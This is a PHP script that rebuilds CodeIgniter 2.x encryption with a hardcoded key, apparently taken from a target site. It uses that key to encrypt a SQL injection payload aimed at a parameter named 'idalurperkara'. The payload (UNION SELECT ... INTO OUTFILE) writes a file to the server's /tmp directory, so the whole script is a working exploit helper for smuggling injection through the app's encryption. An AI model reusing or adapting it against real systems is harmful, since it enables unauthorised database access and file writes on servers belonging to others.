<?php
// Replicate CI 2.x encryption

class CI_Encrypt {
    var $encryption_key = '';
    var $_mcrypt_cipher = MCRYPT_RIJNDAEL_256;
    var $_mcrypt_mode = MCRYPT_MODE_CBC;

    function get_key($key = '') {
        if ($key == '') {
            $key = $this->encryption_key;
        }
        return md5($key);
    }

    function encode($string, $key = '') {
        $key = $this->get_key($key);
        $enc = $this->mcrypt_encode($string, $key);
        return base64_encode($enc);
    }

    function mcrypt_encode($data, $key) {
        $init_size = mcrypt_get_iv_size($this->_mcrypt_cipher, $this->_mcrypt_mode);
        $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);
        return $this->_add_cipher_noise($init_vect . mcrypt_encrypt($this->_mcrypt_cipher, $key, $data, $this->_mcrypt_mode, $init_vect), $key);
    }

    function _add_cipher_noise($data, $key) {
        $keyhash = sha1($key);
        $keylen = strlen($keyhash);
        $str = '';
        for ($i = 0, $j = 0, $len = strlen($data); $i < $len; ++$i, ++$j) {
            if ($j >= $keylen) $j = 0;
            $str .= chr((ord($data[$i]) + ord($keyhash[$j])) % 256);
        }
        return $str;
    }
}

$enc = new CI_Encrypt();
$enc->encryption_key = 'jsadjas^&**&@kl;lijiash';

// Payload: SQLi in idalurperkara
$payload = "1) OR 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 INTO OUTFILE '/tmp/test.txt'--";
echo base64_encode($enc->encode($payload));